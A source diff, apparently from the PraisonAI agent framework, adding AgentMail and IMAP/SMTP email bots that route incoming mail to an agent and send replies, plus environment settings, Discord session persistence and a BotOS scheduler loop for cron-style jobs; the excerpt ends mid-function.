|
||||
self._webhook_site = web.TCPSite(
|
||||
self._webhook_runner, "0.0.0.0", self._webhook_port
|
||||
)
|
||||
await self._webhook_site.start()
|
||||
|
||||
logger.info(
|
||||
f"Webhook server listening on 0.0.0.0:{self._webhook_port}{webhook_path}"
|
||||
)
|
||||
|
||||
# Register webhook with AgentMail API
|
||||
if self.config.webhook_url:
|
||||
try:
|
||||
client = self._get_client()
|
||||
webhook_url = self.config.webhook_url.rstrip("/") + webhook_path
|
||||
client.webhooks.create(
|
||||
url=webhook_url,
|
||||
event_types=["message.received"],
|
||||
inbox_ids=[self._inbox_id] if self._inbox_id else None,
|
||||
)
|
||||
logger.info(f"Registered webhook: {webhook_url}")
|
||||
except Exception as e:
|
||||
logger.warning(f"Failed to register webhook with AgentMail: {e}")
|
||||
|
||||
async def _handle_email_webhook(self, request: Any) -> Any:
|
||||
"""Handle incoming webhook POST from AgentMail."""
|
||||
from aiohttp import web
|
||||
|
||||
try:
|
||||
body = await request.json()
|
||||
except Exception:
|
||||
return web.Response(status=400, text="Invalid JSON")
|
||||
|
||||
# Extract event type
|
||||
event_type = body.get("type", "")
|
||||
if event_type != "message.received":
|
||||
return web.Response(status=200, text="OK")
|
||||
|
||||
# Process asynchronously — return 200 immediately
|
||||
asyncio.create_task(self._process_webhook_payload(body))
|
||||
return web.Response(status=200, text="OK")
|
||||
|
||||
async def _process_webhook_payload(self, body: Dict[str, Any]) -> None:
|
||||
"""Process a webhook payload in the background."""
|
||||
try:
|
||||
data = body.get("data", body)
|
||||
msg_id = data.get("message_id", "")
|
||||
|
||||
if not msg_id:
|
||||
return
|
||||
|
||||
# Dedup
|
||||
if msg_id in self._processed_ids:
|
||||
return
|
||||
self._processed_ids.add(msg_id)
|
||||
|
||||
sender_raw = data.get("from", data.get("from_", ""))
|
||||
sender_email = extract_email_address(sender_raw)
|
||||
|
||||
headers = data.get("headers", {})
|
||||
if is_auto_reply(headers):
|
||||
return
|
||||
if is_blocked_sender(sender_email):
|
||||
return
|
||||
|
||||
body_text = data.get("extracted_text", "") or data.get("text", "")
|
||||
|
||||
message = BotMessage(
|
||||
message_id=msg_id,
|
||||
content=body_text,
|
||||
message_type=MessageType.TEXT,
|
||||
sender=BotUser(
|
||||
user_id=sender_email,
|
||||
username=sender_email,
|
||||
display_name=sender_email.split("@")[0] if sender_email else "unknown",
|
||||
),
|
||||
channel=BotChannel(
|
||||
channel_id=self._inbox_id,
|
||||
name=self._email_address or self._inbox_id,
|
||||
),
|
||||
thread_id=data.get("thread_id"),
|
||||
metadata={
|
||||
"subject": data.get("subject", ""),
|
||||
"message_id": msg_id,
|
||||
"in_reply_to": data.get("in_reply_to", ""),
|
||||
"source": "webhook",
|
||||
},
|
||||
)
|
||||
|
||||
await self._handle_message(message)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Error processing webhook payload: {e}")
|
||||
|
||||
async def _handle_health_check(self, request: Any) -> Any:
|
||||
"""Health check endpoint for webhook server."""
|
||||
from aiohttp import web
|
||||
import json
|
||||
|
||||
health = await self.health()
|
||||
return web.Response(
|
||||
status=200 if health.ok else 503,
|
||||
text=json.dumps(health.to_dict()),
|
||||
content_type="application/json",
|
||||
)
|
||||
|
||||
async def _check_new_messages(self) -> None:
|
||||
"""Check for and process new messages."""
|
||||
client = self._get_client()
|
||||
|
||||
try:
|
||||
# SDK v0.4.7: list() returns ListMessagesResponse with .messages list
|
||||
response = client.inboxes.messages.list(self._inbox_id)
|
||||
msg_list = response.messages if hasattr(response, 'messages') else response
|
||||
|
||||
for msg in msg_list:
|
||||
# SDK v0.4.7: Message uses .message_id, not .id
|
||||
msg_id = msg.message_id
|
||||
|
||||
# Skip already processed
|
||||
if msg_id in self._processed_ids:
|
||||
continue
|
||||
|
||||
self._processed_ids.add(msg_id)
|
||||
|
||||
# SDK v0.4.7: Message uses .from_ (not .from_address)
|
||||
sender_raw = getattr(msg, 'from_', '') or ''
|
||||
sender_email = extract_email_address(sender_raw)
|
||||
|
||||
# Skip auto-replies and blocked senders
|
||||
headers = getattr(msg, 'headers', {}) or {}
|
||||
if is_auto_reply(headers):
|
||||
logger.debug(f"Skipping auto-reply from {sender_email}")
|
||||
continue
|
||||
|
||||
if is_blocked_sender(sender_email):
|
||||
logger.debug(f"Skipping blocked sender: {sender_email}")
|
||||
continue
|
||||
|
||||
# Build BotMessage — SDK uses .text / .extracted_text, not .body
|
||||
body = getattr(msg, 'extracted_text', '') or getattr(msg, 'text', '') or ''
|
||||
|
||||
message = BotMessage(
|
||||
message_id=msg_id,
|
||||
content=body,
|
||||
message_type=MessageType.TEXT,
|
||||
sender=BotUser(
|
||||
user_id=sender_email,
|
||||
username=sender_email,
|
||||
display_name=sender_email.split("@")[0] if sender_email else "unknown",
|
||||
),
|
||||
channel=BotChannel(
|
||||
channel_id=self._inbox_id,
|
||||
name=self._email_address or self._inbox_id,
|
||||
),
|
||||
thread_id=getattr(msg, 'thread_id', None),
|
||||
metadata={
|
||||
"subject": getattr(msg, 'subject', ''),
|
||||
"message_id": msg_id,
|
||||
"in_reply_to": getattr(msg, 'in_reply_to', ''),
|
||||
},
|
||||
)
|
||||
|
||||
await self._handle_message(message)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"AgentMail API error: {e}")
|
||||
|
||||
async def _handle_message(self, message: BotMessage) -> None:
|
||||
"""Handle an incoming email message."""
|
||||
# Fire message hooks
|
||||
self.fire_message_received(message)
|
||||
|
||||
# Check command prefix in subject
|
||||
subject = message.metadata.get("subject", "")
|
||||
if subject.startswith(self.config.command_prefix):
|
||||
command = subject[len(self.config.command_prefix):].split()[0].lower()
|
||||
if command in self._command_handlers:
|
||||
try:
|
||||
await self._command_handlers[command](message)
|
||||
except Exception as e:
|
||||
logger.error(f"Command handler error: {e}")
|
||||
return
|
||||
|
||||
# Call registered message handlers
|
||||
for handler in self._message_handlers:
|
||||
try:
|
||||
result = handler(message)
|
||||
if asyncio.iscoroutine(result):
|
||||
await result
|
||||
except Exception as e:
|
||||
logger.error(f"Message handler error: {e}")
|
||||
|
||||
# Process with agent if available
|
||||
if self._agent:
|
||||
sender_id = message.sender.user_id if message.sender else "unknown"
|
||||
body = message.content
|
||||
|
||||
try:
|
||||
response = await self._session.chat(
|
||||
self._agent,
|
||||
sender_id,
|
||||
body,
|
||||
)
|
||||
|
||||
if response:
|
||||
# Reply to sender
|
||||
reply_subject = f"Re: {subject}" if subject else "Re: Your message"
|
||||
await self.send_message(
|
||||
channel_id=sender_id,
|
||||
content={"subject": reply_subject, "body": response},
|
||||
reply_to=message.metadata.get("message_id"),
|
||||
thread_id=message.thread_id,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Agent processing error: {e}")
|
||||
|
||||
async def send_message(
|
||||
self,
|
||||
channel_id: str,
|
||||
content: Union[str, Dict[str, Any]],
|
||||
reply_to: Optional[str] = None,
|
||||
thread_id: Optional[str] = None,
|
||||
**kwargs,
|
||||
) -> BotMessage:
|
||||
"""Send an email message.
|
||||
|
||||
Args:
|
||||
channel_id: Recipient email address
|
||||
content: Message content (str or {"subject": ..., "body": ...})
|
||||
reply_to: Message-ID to reply to
|
||||
thread_id: Thread ID for conversation tracking
|
||||
|
||||
Returns:
|
||||
The sent message
|
||||
"""
|
||||
# Parse content
|
||||
if isinstance(content, dict):
|
||||
subject = content.get("subject", "Message from PraisonAI")
|
||||
body = content.get("body", "")
|
||||
else:
|
||||
subject = "Message from PraisonAI"
|
||||
body = str(content)
|
||||
|
||||
# Fire sending hook
|
||||
self.fire_message_sending(channel_id, body)
|
||||
|
||||
client = self._get_client()
|
||||
|
||||
# Send via AgentMail API
|
||||
# SDK v0.4.7: uses text= (not body=); reply_to= is Reply-To header
|
||||
# For replying to a message, use messages.reply() method
|
||||
try:
|
||||
if reply_to:
|
||||
# reply_to contains the original message_id — use reply() method
|
||||
result = client.inboxes.messages.reply(
|
||||
self._inbox_id,
|
||||
reply_to, # message_id of original message
|
||||
text=body,
|
||||
subject=subject,
|
||||
)
|
||||
else:
|
||||
result = client.inboxes.messages.send(
|
||||
self._inbox_id,
|
||||
to=channel_id,
|
||||
subject=subject,
|
||||
text=body,
|
||||
)
|
||||
# SendMessageResponse has .message_id
|
||||
message_id = getattr(result, 'message_id', str(uuid.uuid4()))
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to send email: {e}")
|
||||
raise
|
||||
|
||||
# Build response message
|
||||
bot_message = BotMessage(
|
||||
message_id=message_id,
|
||||
content=body,
|
||||
message_type=MessageType.TEXT,
|
||||
sender=self._bot_user,
|
||||
channel=BotChannel(channel_id=channel_id, name=channel_id),
|
||||
reply_to=reply_to,
|
||||
thread_id=thread_id,
|
||||
metadata={"subject": subject},
|
||||
)
|
||||
|
||||
# Fire sent hook
|
||||
self.fire_message_sent(channel_id, body, message_id)
|
||||
|
||||
return bot_message
|
||||
|
||||
async def edit_message(
|
||||
self,
|
||||
channel_id: str,
|
||||
message_id: str,
|
||||
content: str,
|
||||
**kwargs,
|
||||
) -> BotMessage:
|
||||
"""Edit a message (not supported for email - sends new message)."""
|
||||
logger.warning("Email does not support message editing. Sending new message.")
|
||||
return await self.send_message(channel_id, content, **kwargs)
|
||||
|
||||
async def delete_message(
|
||||
self,
|
||||
channel_id: str,
|
||||
message_id: str,
|
||||
**kwargs,
|
||||
) -> bool:
|
||||
"""Delete a message (not supported for email)."""
|
||||
logger.warning("Email does not support message deletion.")
|
||||
return False
|
||||
|
||||
def on_message(self, handler: Callable) -> Callable:
|
||||
"""Register a message handler.
|
||||
|
||||
Args:
|
||||
handler: Function to call for each message
|
||||
|
||||
Returns:
|
||||
The handler function
|
||||
"""
|
||||
self._message_handlers.append(handler)
|
||||
return handler
|
||||
|
||||
def on_command(self, command: str) -> Callable:
|
||||
"""Register a command handler.
|
||||
|
||||
Args:
|
||||
command: Command name (without prefix)
|
||||
|
||||
Returns:
|
||||
Decorator function
|
||||
"""
|
||||
def decorator(handler: Callable) -> Callable:
|
||||
self._command_handlers[command.lower()] = handler
|
||||
return handler
|
||||
return decorator
|
||||
|
||||
async def create_inbox(
|
||||
self,
|
||||
domain: Optional[str] = None,
|
||||
**kwargs,
|
||||
) -> Dict[str, Any]:
|
||||
"""Create a new inbox programmatically.
|
||||
|
||||
Args:
|
||||
domain: Custom domain for the inbox
|
||||
**kwargs: Additional inbox parameters
|
||||
|
||||
Returns:
|
||||
Inbox details including id and email_address
|
||||
"""
|
||||
client = self._get_client()
|
||||
|
||||
params = {}
|
||||
if domain:
|
||||
params["domain"] = domain
|
||||
params.update(kwargs)
|
||||
|
||||
inbox = client.inboxes.create(**params)
|
||||
|
||||
# SDK v0.4.7: inbox_id IS the email address
|
||||
return {
|
||||
"id": inbox.inbox_id,
|
||||
"email_address": inbox.inbox_id,
|
||||
"display_name": getattr(inbox, "display_name", None),
|
||||
}
|
||||
|
||||
async def list_inboxes(self) -> List[Dict[str, Any]]:
|
||||
"""List all inboxes for this API key.
|
||||
|
||||
Returns:
|
||||
List of inbox details
|
||||
"""
|
||||
client = self._get_client()
|
||||
# SDK v0.4.7: list() returns response object with .inboxes list
|
||||
result = client.inboxes.list()
|
||||
inbox_list = result.inboxes if hasattr(result, 'inboxes') else result
|
||||
|
||||
return [
|
||||
{
|
||||
"id": inbox.inbox_id,
|
||||
"email_address": inbox.inbox_id,
|
||||
"display_name": getattr(inbox, "display_name", None),
|
||||
}
|
||||
for inbox in inbox_list
|
||||
]
|
||||
|
||||
async def delete_inbox(self, inbox_id: str) -> bool:
|
||||
"""Delete an inbox.
|
||||
|
||||
Args:
|
||||
inbox_id: ID of inbox to delete
|
||||
|
||||
Returns:
|
||||
True if deleted successfully
|
||||
"""
|
||||
client = self._get_client()
|
||||
|
||||
try:
|
||||
client.inboxes.delete(inbox_id)
|
||||
return True
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to delete inbox: {e}")
|
||||
return False
|
||||
|
||||
async def probe(self) -> ProbeResult:
|
||||
"""Test AgentMail API connectivity."""
|
||||
start_time = time.time()
|
||||
|
||||
try:
|
||||
client = self._get_client()
|
||||
# Test by listing inboxes
|
||||
client.inboxes.list()
|
||||
|
||||
elapsed_ms = (time.time() - start_time) * 1000
|
||||
|
||||
return ProbeResult(
|
||||
ok=True,
|
||||
platform="agentmail",
|
||||
elapsed_ms=elapsed_ms,
|
||||
bot_username=self._email_address,
|
||||
)
|
||||
except ImportError:
|
||||
return ProbeResult(
|
||||
ok=False,
|
||||
platform="agentmail",
|
||||
error="agentmail package not installed",
|
||||
)
|
||||
except Exception as e:
|
||||
return ProbeResult(
|
||||
ok=False,
|
||||
platform="agentmail",
|
||||
error=str(e),
|
||||
)
|
||||
|
||||
async def health(self) -> HealthResult:
|
||||
"""Get health status of the AgentMail bot."""
|
||||
probe_result = await self.probe()
|
||||
|
||||
uptime = 0.0
|
||||
if self._started_at:
|
||||
uptime = time.time() - self._started_at
|
||||
|
||||
return HealthResult(
|
||||
ok=self._is_running and probe_result.ok,
|
||||
platform="agentmail",
|
||||
is_running=self._is_running,
|
||||
uptime_seconds=uptime,
|
||||
probe=probe_result,
|
||||
sessions=self._session.active_count() if hasattr(self._session, 'active_count') else 0,
|
||||
)
|
||||
@@ -45,12 +45,23 @@ _TOKEN_ENV_MAP = {
|
||||
"discord": "DISCORD_BOT_TOKEN",
|
||||
"slack": "SLACK_BOT_TOKEN",
|
||||
"whatsapp": "WHATSAPP_ACCESS_TOKEN",
|
||||
"email": "EMAIL_APP_PASSWORD",
|
||||
"agentmail": "AGENTMAIL_API_KEY",
|
||||
}
|
||||
|
||||
# Slack also needs an app token
|
||||
# Platform-specific extra env vars
|
||||
_EXTRA_ENV_MAP = {
|
||||
"slack": {"app_token": "SLACK_APP_TOKEN"},
|
||||
"whatsapp": {"phone_number_id": "WHATSAPP_PHONE_NUMBER_ID"},
|
||||
"email": {
|
||||
"email_address": "EMAIL_ADDRESS",
|
||||
"imap_server": "EMAIL_IMAP_SERVER",
|
||||
"smtp_server": "EMAIL_SMTP_SERVER",
|
||||
},
|
||||
"agentmail": {
|
||||
"inbox_id": "AGENTMAIL_INBOX_ID",
|
||||
"domain": "AGENTMAIL_DOMAIN",
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -137,6 +137,13 @@ class BotOS:
|
||||
)
|
||||
self._tasks.append(task)
|
||||
|
||||
# Start schedule loop alongside bots so cron jobs execute
|
||||
schedule_task = asyncio.create_task(
|
||||
self._run_schedule_loop(),
|
||||
name="botos-scheduler",
|
||||
)
|
||||
self._tasks.append(schedule_task)
|
||||
|
||||
try:
|
||||
await asyncio.gather(*self._tasks, return_exceptions=True)
|
||||
except asyncio.CancelledError:
|
||||
@@ -152,6 +159,115 @@ class BotOS:
|
||||
except Exception as e:
|
||||
logger.error(f"BotOS: {platform} failed: {e}")
|
||||
|
||||
async def _run_schedule_loop(self) -> None:
|
||||
"""Poll for due scheduled jobs and execute them.
|
||||
|
||||
Runs alongside bot tasks so cron/interval schedules fire even
|
||||
without the UI. On trigger, the agent processes the message
|
||||
and results are delivered back to the originating platform.
|
||||
|
||||
When the UI scheduler is already running (PraisonAIUI started),
|
||||
this loop defers to it to avoid double-firing jobs.
|
||||
"""
|
||||
try:
|
||||
from praisonaiagents.tools.schedule_tools import _get_store
|
||||
from praisonaiagents.scheduler import ScheduleRunner
|
||||
except ImportError:
|
||||
logger.debug("BotOS: schedule module not available, skipping scheduler")
|
||||
return
|
||||
|
||||
store = _get_store()
|
||||
runner = ScheduleRunner(store)
|
||||
logger.info("BotOS: schedule loop started (30s tick)")
|
||||
|
||||
while True:
|
||||
try:
|
||||
# Skip if the UI scheduler is already running (avoids double-fire)
|
||||
ui_running = False
|
||||
try:
|
||||
from praisonaiui.features.schedules import _scheduler_running
|
||||
ui_running = _scheduler_running
|
||||
except ImportError:
|
||||
pass # UI not installed — we're the only scheduler
|
||||
if ui_running:
|
||||
await asyncio.sleep(30)
|
||||
continue
|
||||
|
||||
due = runner.get_due_jobs()
|
||||
for job in due:
|
||||
import time as _time
|
||||
_start = _time.time()
|
||||
_status = "succeeded"
|
||||
_result = None
|
||||
_error = None
|
||||
_delivered = False
|
||||
try:
|
||||
_result, _delivered = await self._execute_schedule_job(job)
|
||||
except Exception as e:
|
||||
_status = "failed"
|
||||
_error = str(e)
|
||||
logger.warning(f"BotOS: schedule job {job.name} failed: {e}")
|
||||
_duration = _time.time() - _start
|
||||
runner.mark_run(
|
||||
job,
|
||||
status=_status,
|
||||
result=_result,
|
||||
error=_error,
|
||||
duration=_duration,
|
||||
delivered=_delivered,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.debug(f"BotOS: schedule tick error: {e}")
|
||||
await asyncio.sleep(30)
|
||||
|
||||
async def _execute_schedule_job(self, job) -> tuple:
|
||||
"""Execute a single due schedule job.
|
||||
|
||||
Returns:
|
||||
Tuple of (result_str, delivered_bool).
|
||||
"""
|
||||
if not job.message:
|
||||
return (None, False)
|
||||
|
||||
# Find the agent to execute with
|
||||
agent = None
|
||||
if job.agent_id:
|
||||
# Look for a bot whose agent matches
|
||||
for bot in self._bots.values():
|
||||
a = bot.get_agent() if hasattr(bot, 'get_agent') else getattr(bot, '_agent', None)
|
||||
if a and getattr(a, 'name', None) == job.agent_id:
|
||||
agent = a
|
||||
break
|
||||
if agent is None:
|
||||
# Use the first available agent
|
||||
for bot in self._bots.values():
|
||||
a = bot.get_agent() if hasattr(bot, 'get_agent') else getattr(bot, '_agent', None)
|
||||
if a:
|
||||
agent = a
|
||||
break
|
||||
if agent is None:
|
||||
logger.debug(f"BotOS: no agent for schedule job {job.name}")
|
||||
return (None, False)
|
||||
|
||||
# Run the agent
|
||||
result = await asyncio.to_thread(agent.chat, job.message)
|
||||
result_str = str(result) if result else None
|
||||
|
||||
# Deliver to originating platform if delivery target is set
|
||||
delivered = False
|
||||
delivery = job.delivery
|
||||
if delivery and delivery.channel and delivery.channel_id:
|
||||
bot = self.get_bot(delivery.channel)
|
||||
if bot:
|
||||
try:
|
||||
await bot.send_message(delivery.channel_id, str(result))
|
||||
delivered = True
|
||||
except Exception as e:
|
||||
logger.warning(f"BotOS: delivery to {delivery.channel} failed: {e}")
|
||||
|
||||
logger.info(f"BotOS: executed schedule job '{job.name}'")
|
||||
return (result_str, delivered)
|
||||
|
||||
async def stop(self) -> None:
|
||||
"""Gracefully stop all running bots."""
|
||||
if not self._is_running:
|
||||
|
||||
@@ -82,7 +82,15 @@ class DiscordBot(ChatCommandMixin, MessageHookMixin):
|
||||
self._message_handlers: List[Callable] = []
|
||||
self._command_handlers: Dict[str, Callable] = {}
|
||||
self._started_at: Optional[float] = None
|
||||
self._session: BotSessionManager = BotSessionManager()
|
||||
try:
|
||||
from praisonaiagents.session import get_default_session_store
|
||||
_store = get_default_session_store()
|
||||
except Exception:
|
||||
_store = None
|
||||
self._session: BotSessionManager = BotSessionManager(
|
||||
store=_store,
|
||||
platform="discord",
|
||||
)
|
||||
self._debouncer: InboundDebouncer = InboundDebouncer(
|
||||
debounce_ms=self.config.debounce_ms,
|
||||
)
|
||||
|
||||
@@ -0,0 +1,598 @@
|
||||
"""
|
||||
Email Bot implementation for PraisonAI.
|
||||
|
||||
Provides an email bot runtime with IMAP polling and SMTP sending,
|
||||
command handling, and agent integration.
|
||||
|
||||
Requires: pip install praisonai[email]
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import email
|
||||
import email.utils
|
||||
import hashlib
|
||||
import imaplib
|
||||
import logging
|
||||
import os
|
||||
import smtplib
|
||||
import time
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
from typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from praisonaiagents import Agent
|
||||
|
||||
from praisonai.bots._protocol_mixin import ChatCommandMixin, MessageHookMixin
|
||||
from praisonaiagents.bots import (
|
||||
BotConfig,
|
||||
BotMessage,
|
||||
BotUser,
|
||||
BotChannel,
|
||||
MessageType,
|
||||
ProbeResult,
|
||||
HealthResult,
|
||||
)
|
||||
|
||||
from ._session import BotSessionManager
|
||||
from ._email_utils import is_auto_reply, is_blocked_sender
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class EmailBot(ChatCommandMixin, MessageHookMixin):
|
||||
"""Email bot runtime for PraisonAI agents.
|
||||
|
||||
Connects an agent to email via IMAP/SMTP, handling incoming emails
|
||||
as messages and sending replies.
|
||||
|
||||
Example:
|
||||
from praisonai.bots import EmailBot
|
||||
from praisonaiagents import Agent
|
||||
|
||||
agent = Agent(name="email_assistant")
|
||||
bot = EmailBot(
|
||||
token="app_password", # Gmail app password
|
||||
email_address="[email protected]",
|
||||
imap_server="imap.gmail.com",
|
||||
smtp_server="smtp.gmail.com",
|
||||
agent=agent,
|
||||
)
|
||||
|
||||
await bot.start()
|
||||
|
||||
Environment variables (if not passed directly):
|
||||
EMAIL_APP_PASSWORD: App password for authentication
|
||||
EMAIL_ADDRESS: Email address for the bot
|
||||
EMAIL_IMAP_SERVER: IMAP server (default: imap.gmail.com)
|
||||
EMAIL_SMTP_SERVER: SMTP server (default: smtp.gmail.com)
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
token: str,
|
||||
agent: Optional["Agent"] = None,
|
||||
config: Optional[BotConfig] = None,
|
||||
email_address: Optional[str] = None,
|
||||
imap_server: Optional[str] = None,
|
||||
smtp_server: Optional[str] = None,
|
||||
imap_port: int = 993,
|
||||
smtp_port: int = 587,
|
||||
**kwargs,
|
||||
):
|
||||
"""Initialize the Email bot.
|
||||
|
||||
Args:
|
||||
token: App password for email authentication
|
||||
agent: Optional agent to handle messages
|
||||
config: Optional bot configuration
|
||||
email_address: Bot's email address (or EMAIL_ADDRESS env var)
|
||||
imap_server: IMAP server hostname (or EMAIL_IMAP_SERVER env var)
|
||||
smtp_server: SMTP server hostname (or EMAIL_SMTP_SERVER env var)
|
||||
imap_port: IMAP port (default: 993 for SSL)
|
||||
smtp_port: SMTP port (default: 587 for STARTTLS)
|
||||
**kwargs: Additional arguments for forward compatibility
|
||||
"""
|
||||
self._extra_kwargs = kwargs
|
||||
self._token = token
|
||||
self._agent = agent
|
||||
self.config = config or BotConfig(token=token)
|
||||
|
||||
# Email-specific config
|
||||
self._email_address = email_address or os.environ.get("EMAIL_ADDRESS", "")
|
||||
self._imap_server = imap_server or os.environ.get("EMAIL_IMAP_SERVER", "imap.gmail.com")
|
||||
self._smtp_server = smtp_server or os.environ.get("EMAIL_SMTP_SERVER", "smtp.gmail.com")
|
||||
self._imap_port = imap_port
|
||||
self._smtp_port = smtp_port
|
||||
|
||||
self._is_running = False
|
||||
self._bot_user: Optional[BotUser] = None
|
||||
self._imap: Optional[imaplib.IMAP4_SSL] = None
|
||||
|
||||
self._message_handlers: List[Callable] = []
|
||||
self._command_handlers: Dict[str, Callable] = {}
|
||||
self._started_at: Optional[float] = None
|
||||
self._processed_uids: set = set() # Track processed email UIDs
|
||||
|
||||
try:
|
||||
from praisonaiagents.session import get_default_session_store
|
||||
_store = get_default_session_store()
|
||||
except Exception:
|
||||
_store = None
|
||||
self._session: BotSessionManager = BotSessionManager(
|
||||
store=_store,
|
||||
platform="email",
|
||||
)
|
||||
|
||||
self._stop_event: Optional[asyncio.Event] = None
|
||||
self._poll_task: Optional[asyncio.Task] = None
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._is_running
|
||||
|
||||
@property
|
||||
def platform(self) -> str:
|
||||
return "email"
|
||||
|
||||
@property
|
||||
def bot_user(self) -> Optional[BotUser]:
|
||||
return self._bot_user
|
||||
|
||||
def set_agent(self, agent: "Agent") -> None:
|
||||
"""Set the agent that handles messages."""
|
||||
self._agent = agent
|
||||
|
||||
def get_agent(self) -> Optional["Agent"]:
|
||||
"""Get the current agent."""
|
||||
return self._agent
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Start the Email bot (begin IMAP polling)."""
|
||||
if self._is_running:
|
||||
logger.warning("EmailBot already running")
|
||||
return
|
||||
|
||||
if not self._email_address:
|
||||
raise ValueError(
|
||||
"Email address required. Set EMAIL_ADDRESS env var or pass email_address parameter."
|
||||
)
|
||||
|
||||
if not self._token:
|
||||
raise ValueError(
|
||||
"App password required. Set EMAIL_APP_PASSWORD env var or pass token parameter."
|
||||
)
|
||||
|
||||
# Test connection
|
||||
probe = await self.probe()
|
||||
if not probe.ok:
|
||||
raise ConnectionError(f"Failed to connect to email server: {probe.error}")
|
||||
|
||||
self._bot_user = BotUser(
|
||||
user_id=self._email_address,
|
||||
username=self._email_address,
|
||||
display_name=self._email_address.split("@")[0],
|
||||
is_bot=True,
|
||||
)
|
||||
|
||||
self._is_running = True
|
||||
self._started_at = time.time()
|
||||
self._stop_event = asyncio.Event()
|
||||
|
||||
# Start polling loop
|
||||
self._poll_task = asyncio.create_task(self._poll_loop())
|
||||
logger.info(f"EmailBot started for {self._email_address}")
|
||||
|
||||
async def stop(self) -> None:
|
||||
"""Stop the Email bot."""
|
||||
if not self._is_running:
|
||||
return
|
||||
|
||||
self._is_running = False
|
||||
if self._stop_event:
|
||||
self._stop_event.set()
|
||||
|
||||
if self._poll_task:
|
||||
self._poll_task.cancel()
|
||||
try:
|
||||
await self._poll_task
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
|
||||
if self._imap:
|
||||
try:
|
||||
self._imap.logout()
|
||||
except Exception:
|
||||
pass
|
||||
self._imap = None
|
||||
|
||||
logger.info("EmailBot stopped")
|
||||
|
||||
async def _poll_loop(self) -> None:
|
||||
"""Main polling loop for checking new emails."""
|
||||
poll_interval = self.config.polling_interval or 30.0 # Default 30s for email
|
||||
|
||||
while self._is_running:
|
||||
try:
|
||||
await self._check_new_emails()
|
||||
except Exception as e:
|
||||
logger.error(f"Error checking emails: {e}")
|
||||
|
||||
# Wait for next poll or stop signal
|
||||
try:
|
||||
await asyncio.wait_for(
|
||||
self._stop_event.wait(),
|
||||
timeout=poll_interval,
|
||||
)
|
||||
break # Stop event was set
|
||||
except asyncio.TimeoutError:
|
||||
continue # Normal timeout, continue polling
|
||||
|
||||
async def _check_new_emails(self) -> None:
|
||||
"""Check for new unread emails and process them."""
|
||||
loop = asyncio.get_event_loop()
|
||||
|
||||
try:
|
||||
# Connect to IMAP
|
||||
imap = await loop.run_in_executor(
|
||||
None,
|
||||
lambda: imaplib.IMAP4_SSL(self._imap_server, self._imap_port)
|
||||
)
|
||||
await loop.run_in_executor(
|
||||
None,
|
||||
lambda: imap.login(self._email_address, self._token)
|
||||
)
|
||||
await loop.run_in_executor(None, lambda: imap.select("INBOX"))
|
||||
|
||||
# Search for unread emails
|
||||
_, message_numbers = await loop.run_in_executor(
|
||||
None,
|
||||
lambda: imap.search(None, "UNSEEN")
|
||||
)
|
||||
|
||||
for num in message_numbers[0].split():
|
||||
if not self._is_running:
|
||||
break
|
||||
|
||||
uid = num.decode()
|
||||
if uid in self._processed_uids:
|
||||
continue
|
||||
|
||||
try:
|
||||
_, msg_data = await loop.run_in_executor(
|
||||
None,
|
||||
lambda n=num: imap.fetch(n, "(RFC822)")
|
||||
)
|
||||
|
||||
if msg_data[0] is None:
|
||||
continue
|
||||
|
||||
raw_email = msg_data[0][1]
|
||||
email_message = email.message_from_bytes(raw_email)
|
||||
|
||||
# Check for auto-reply headers
|
||||
if self._is_auto_reply(email_message):
|
||||
logger.debug(f"Skipping auto-reply email: {uid}")
|
||||
self._processed_uids.add(uid)
|
||||
continue
|
||||
|
||||
# Parse sender
|
||||
from_header = email_message.get("From", "")
|
||||
sender_name, sender_email = email.utils.parseaddr(from_header)
|
||||
|
||||
# Check for blocked senders
|
||||
if self._is_blocked_sender(sender_email):
|
||||
logger.debug(f"Skipping blocked sender: {sender_email}")
|
||||
self._processed_uids.add(uid)
|
||||
continue
|
||||
|
||||
# Extract body
|
||||
body = self._extract_body(email_message)
|
||||
subject = email_message.get("Subject", "(No Subject)")
|
||||
message_id = email_message.get("Message-ID", uid)
|
||||
references = email_message.get("References", "")
|
||||
in_reply_to = email_message.get("In-Reply-To", "")
|
||||
|
||||
# Create BotMessage
|
||||
bot_message = BotMessage(
|
||||
message_id=message_id,
|
||||
content=f"Subject: {subject}\n\n{body}",
|
||||
message_type=MessageType.TEXT,
|
||||
sender=BotUser(
|
||||
user_id=sender_email,
|
||||
username=sender_email,
|
||||
display_name=sender_name or sender_email,
|
||||
),
|
||||
channel=BotChannel(
|
||||
channel_id=sender_email,
|
||||
name=sender_email,
|
||||
channel_type="dm",
|
||||
),
|
||||
reply_to=in_reply_to or None,
|
||||
thread_id=references or message_id,
|
||||
metadata={
|
||||
"subject": subject,
|
||||
"message_id": message_id,
|
||||
"references": references,
|
||||
"in_reply_to": in_reply_to,
|
||||
},
|
||||
)
|
||||
|
||||
self._processed_uids.add(uid)
|
||||
|
||||
# Process message
|
||||
await self._handle_message(bot_message)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Error processing email {uid}: {e}")
|
||||
|
||||
await loop.run_in_executor(None, imap.logout)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"IMAP error: {e}")
|
||||
|
||||
def _is_auto_reply(self, msg: email.message.Message) -> bool:
|
||||
"""Check if email is an auto-reply."""
|
||||
headers = {k: v for k, v in msg.items()}
|
||||
return is_auto_reply(headers)
|
||||
|
||||
def _is_blocked_sender(self, sender: str) -> bool:
|
||||
"""Check if sender should be blocked."""
|
||||
return is_blocked_sender(sender)
|
||||
|
||||
def _extract_body(self, msg: email.message.Message) -> str:
|
||||
"""Extract plain text body from email."""
|
||||
